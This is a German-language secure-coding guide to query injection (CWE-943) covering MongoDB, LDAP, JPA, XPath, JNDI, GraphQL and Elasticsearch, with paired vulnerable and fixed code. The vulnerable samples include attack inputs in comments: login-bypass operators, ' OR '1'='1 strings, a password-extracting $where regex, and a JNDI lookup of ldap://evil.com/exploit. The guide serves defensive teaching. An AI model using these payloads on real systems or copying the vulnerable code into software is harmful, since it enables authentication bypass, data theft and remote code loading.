Unsachgemäße Neutralisierung spezieller Elemente in Datenabfragelogik

Beschreibung

Unsachgemäße Neutralisierung spezieller Elemente in Datenabfragelogik tritt auf, wenn ein Produkt eine Abfrage generiert, die auf Daten in einem Datenspeicher zugreifen oder diese manipulieren soll, aber spezielle Elemente, die die beabsichtigte Logik der Abfrage modifizieren können, nicht neutralisiert oder falsch neutralisiert. Während diese Schwäche am häufigsten mit SQL-Injection (CWE-89) assoziiert wird, umfasst sie viele andere Abfragesprachen einschließlich NoSQL (MongoDB, CouchDB), LDAP, XPath, XQuery, HTSQL, ORM-Query-Builder und GraphQL. Jeder Datenspeicher, der eine Abfragesprache mit speziellen Elementen verwendet, die die Abfragelogik verändern können, ist potenziell anfällig.

Risiko

Query-Injection-Schwachstellen gehören nach wie vor zu den am häufigsten ausgenutzten Schwächen. CVE-2025-36185 in IBM Db2 (Versionen 12.1.0-12.1.2) ermöglicht lokalen Benutzern, Abfragen zu erstellen, die Denial-of-Service verursachen. CVE-2025-42884 in SAP NetWeaver Enterprise Portal ermöglicht nicht authentifizierten Angreifern, bösartige JNDI-Umgebungseigenschaften einzuschleusen und Lookup-Operationen zu manipulieren. NoSQL-Injection wird zunehmend häufig, da Anwendungen Dokument-Datenbanken einsetzen. GraphQL-Injection kann gesamte Schemas offenlegen und Zugriffskontrollen umgehen. Diese Schwachstellen können zu Datenoffenlegung, Datenmanipulation, Authentifizierungsumgehung und in einigen Fällen Remote-Code-Execution führen.

Lösung

Verwenden Sie parametrisierte Abfragen oder Prepared Statements für alle Datenspeicher-Interaktionen. Konkatenieren Sie niemals Benutzereingaben in Abfragestrings. Verwenden Sie ORM-Frameworks mit parametrisierten Query-Buildern. Validieren und sanitisieren Sie alle Eingaben vor der Verwendung in Abfragen. Implementieren Sie Least-Privilege-Datenbankberechtigungen. Verwenden Sie Allowlists für alle benutzergesteuerten Abfrageoperatoren (wie MongoDBs $where). Für GraphQL implementieren Sie Query-Komplexitätslimits und Tiefenbeschränkungen. Deaktivieren Sie gefährliche Abfragefunktionen, wenn sie nicht benötigt werden. Protokollieren und überwachen Sie Query-Injection-Versuche.

Häufige Auswirkungen

AuswirkungDetails
VertraulichkeitBereich: Datenoffenlegung

Angreifer können sensible Daten extrahieren, indem sie Abfragen einschleusen, die unautorisierte Datensätze zurückgeben.
IntegritätBereich: Datenmanipulation

Injection kann Daten im Datenspeicher modifizieren oder löschen.
AuthentifizierungBereich: Authentifizierungsumgehung

Eingeschleuste Abfragen können Login-Mechanismen und Zugriffskontrollen umgehen.

Beispielcode + Lösungscode

Anfälliger Code

# ANFÄLLIG: NoSQL-Injection in MongoDB
from pymongo import MongoClient

@app.route('/login', methods=['POST'])
def login():
    username = request.json['username']
    password = request.json['password']

    # Angreifer sendet: {"username": {"$gt": ""}, "password": {"$gt": ""}}
    # Dies matcht jeden Benutzer!
    user = db.users.find_one({
        'username': username,
        'password': password
    })

    if user:
        return 'Login erfolgreich'
    return 'Ungültige Anmeldedaten'

# ANFÄLLIG: LDAP-Injection
import ldap

def authenticate_ldap(username, password):
    # Angreifer sendet username: admin)(|(password=*
    # Erstellt: (&(user=admin)(|(password=*)(password=anything))
    ldap_filter = f"(&(user={username})(password={password}))"
    result = ldap_conn.search_s(base_dn, ldap.SCOPE_SUBTREE, ldap_filter)
    return len(result) > 0
// ANFÄLLIG: JPA-Abfrage mit String-Konkatenation
@Repository
public class UserRepository {

    public List<User> findByUsername(String username) {
        // Angreifer sendet: admin' OR '1'='1
        String query = "SELECT u FROM User u WHERE u.username = '" + username + "'";
        return entityManager.createQuery(query, User.class).getResultList();
    }
}

// ANFÄLLIG: XPath-Injection
public String getUser(String username) throws Exception {
    // Angreifer sendet: ' or '1'='1
    String xpath = "//users/user[name='" + username + "']";
    XPath xPath = XPathFactory.newInstance().newXPath();
    return xPath.evaluate(xpath, document);
}

// ANFÄLLIG: JNDI-Injection
public Object lookupResource(String name) throws NamingException {
    // Angreifer sendet: ldap://evil.com/exploit
    return new InitialContext().lookup(name);
}
// ANFÄLLIG: MongoDB-Injection durch Operator
app.post('/search', (req, res) => {
    const filter = req.body;
    // Angreifer sendet: {"$where": "this.password.match(/^a.*/i)"}
    // Kann Passwörter Zeichen für Zeichen extrahieren!
    db.collection('users').find(filter).toArray()
        .then(users => res.json(users));
});

// ANFÄLLIG: GraphQL-Injection / Introspektionsmissbrauch
const schema = buildSchema(`
    type Query {
        user(id: ID!): User
        users(filter: String): [User]  // Direkter Filter-String - gefährlich!
    }
`);

// Angreifer kann abfragen: { users(filter: "1=1") { password } }
// Oder Introspection verwenden, um Schema zu entdecken

// ANFÄLLIG: Elasticsearch-Query-Injection
app.get('/search', async (req, res) => {
    const query = req.query.q;
    // Angreifer kann Elasticsearch Query DSL einschleusen
    const result = await client.search({
        index: 'products',
        body: {
            query: {
                query_string: {
                    query: query  // Nicht validierter Query-String
                }
            }
        }
    });
    res.json(result);
});

Korrigierter Code

# SICHER: Parametrisierte MongoDB-Abfragen
from pymongo import MongoClient
import bcrypt

@app.route('/login', methods=['POST'])
def login_safe():
    username = request.json.get('username')
    password = request.json.get('password')

    # Eingabetypen validieren
    if not isinstance(username, str) or not isinstance(password, str):
        return 'Ungültige Eingabe', 400

    # Sicherstellen, dass keine Abfrageoperatoren in der Eingabe sind
    if any(key.startswith('$') for key in [username, password] if isinstance(key, str)):
        return 'Ungültige Zeichen in Eingabe', 400

    # Benutzer nur nach Benutzername finden
    user = db.users.find_one({'username': username})

    if user and bcrypt.checkpw(password.encode(), user['password_hash']):
        return 'Login erfolgreich'

    return 'Ungültige Anmeldedaten', 401

# SICHER: Parametrisierte LDAP-Abfrage
import ldap
from ldap.filter import escape_filter_chars

def authenticate_ldap_safe(username, password):
    # Sonderzeichen in Benutzereingabe escapen
    safe_username = escape_filter_chars(username)

    # Escapeten Wert im Filter verwenden
    ldap_filter = f"(uid={safe_username})"

    result = ldap_conn.search_s(base_dn, ldap.SCOPE_SUBTREE, ldap_filter)

    if result:
        user_dn = result[0][0]
        try:
            # Mit Benutzer-Credentials binden, um Passwort zu verifizieren
            ldap_conn.simple_bind_s(user_dn, password)
            return True
        except ldap.INVALID_CREDENTIALS:
            pass

    return False
// SICHER: JPA mit parametrisierter Abfrage
@Repository
public class SecureUserRepository {

    public List<User> findByUsername(String username) {
        // Benannter Parameter verhindert Injection
        String query = "SELECT u FROM User u WHERE u.username = :username";
        return entityManager.createQuery(query, User.class)
            .setParameter("username", username)
            .getResultList();
    }

    // SICHER: Criteria API (typsicher)
    public List<User> findByUsernameCriteria(String username) {
        CriteriaBuilder cb = entityManager.getCriteriaBuilder();
        CriteriaQuery<User> query = cb.createQuery(User.class);
        Root<User> root = query.from(User.class);

        query.select(root).where(cb.equal(root.get("username"), username));

        return entityManager.createQuery(query).getResultList();
    }
}

// SICHER: XPath mit parametrisierter Abfrage
public String getUserSafe(String username) throws Exception {
    // XPath-Variablenresolver anstelle von String-Konkatenation verwenden
    XPath xPath = XPathFactory.newInstance().newXPath();

    xPath.setXPathVariableResolver(variableName -> {
        if ("username".equals(variableName.getLocalPart())) {
            return username;
        }
        return null;
    });

    // $username wird sicher aufgelöst
    return xPath.evaluate("//users/user[name=$username]", document);
}

// SICHER: JNDI mit Ressourcennamen-Validierung
public Object lookupResourceSafe(String name) throws NamingException {
    // Allowlist erlaubter Ressourcennamen
    Set<String> allowedResources = Set.of("jdbc/mydb", "jms/queue");

    if (!allowedResources.contains(name)) {
        throw new SecurityException("Ressource nicht in Allowlist: " + name);
    }

    // Auch validieren, dass keine Protokoll-Schemas enthalten sind
    if (name.contains("://")) {
        throw new SecurityException("Protokoll-Schemas nicht erlaubt");
    }

    return new InitialContext().lookup("java:comp/env/" + name);
}
// SICHER: MongoDB mit validierten Abfragen
app.post('/search', async (req, res) => {
    const { name, category } = req.body;

    // Abfrage sicher bauen - nur erwartete Felder erlauben
    const query = {};

    if (name && typeof name === 'string') {
        // Regex sicher mit escapeter Eingabe verwenden
        query.name = { $regex: escapeRegex(name), $options: 'i' };
    }

    if (category && typeof category === 'string') {
        query.category = category;  // Exakte Übereinstimmung
    }

    // Explizit Abfrageoperatoren aus Benutzereingabe verbieten
    for (const key of Object.keys(req.body)) {
        if (key.startsWith('$')) {
            return res.status(400).json({ error: 'Ungültiger Abfrageparameter' });
        }
    }

    const users = await db.collection('users')
        .find(query)
        .project({ password: 0 })  // Niemals Passwörter zurückgeben
        .limit(100)
        .toArray();

    res.json(users);
});

function escapeRegex(string) {
    return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

// SICHER: GraphQL mit Validierung und Komplexitätsbegrenzung
const { graphqlHTTP } = require('express-graphql');
const depthLimit = require('graphql-depth-limit');
const { createComplexityLimitRule } = require('graphql-validation-complexity');

app.use('/graphql', graphqlHTTP({
    schema: schema,
    validationRules: [
        depthLimit(5),  // Abfragetiefe begrenzen
        createComplexityLimitRule(1000),  // Komplexität begrenzen
    ],
    graphiql: process.env.NODE_ENV !== 'production',  // In Produktion deaktivieren
}));

// SICHER: Elasticsearch mit sanitisierten Abfragen
app.get('/search', async (req, res) => {
    const query = req.query.q;

    // Elasticsearch-Sonderzeichen escapen
    const sanitized = query.replace(/[+\-=&|><!(){}[\]^"~*?:\\/]/g, '\\$&');

    const result = await client.search({
        index: 'products',
        body: {
            query: {
                simple_query_string: {
                    query: sanitized,
                    fields: ['name', 'description'],
                    default_operator: 'and'
                }
            }
        }
    });

    res.json(result);
});

Ausgenutzt in der Praxis

IBM Db2 Query Injection DoS (IBM, 2025)

CVE-2025-36185 in IBM Db2 12.1.0-12.1.2 ermöglicht lokalen Benutzern, speziell formatierte Abfragen zu erstellen, die die Datenbank-Engine nicht ordnungsgemäß sanitisiert, was zu Denial-of-Service-Bedingungen führt.

SAP NetWeaver JNDI-Injection (SAP, 2025)

CVE-2025-42884 in SAP NetWeaver Enterprise Portal (EP-BASIS/EP-RUNTIME 7.50) ermöglicht nicht authentifizierten Angreifern, bösartige JNDI-Umgebungseigenschaften einzuschleusen und JNDI-Lookup-Operationen zu manipulieren (CVSS 6.5).

MongoDB NoSQL-Injection-Angriffe (Mehrere, fortlaufend)

Mehrere Anwendungen wurden durch NoSQL-Injection kompromittiert, bei der Angreifer die Authentifizierung umgehen, indem sie Abfrageoperatoren wie $gt, $ne und $where verwenden, um die Abfragelogik zu manipulieren.


Tools zum Testen/Ausnutzen

  • NoSQLMap - Automatisiertes NoSQL-Injection-Tool.

  • sqlmap - SQL-Injection-Testing (unterstützt auch einige NoSQL).

  • GraphQL Voyager - GraphQL-Schema-Visualisierung.


CVE-Beispiele


Referenzen

  1. MITRE. "CWE-943: Improper Neutralization of Special Elements in Data Query Logic." https://cwe.mitre.org/data/definitions/943.html

  2. OWASP. "NoSQL Injection." https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection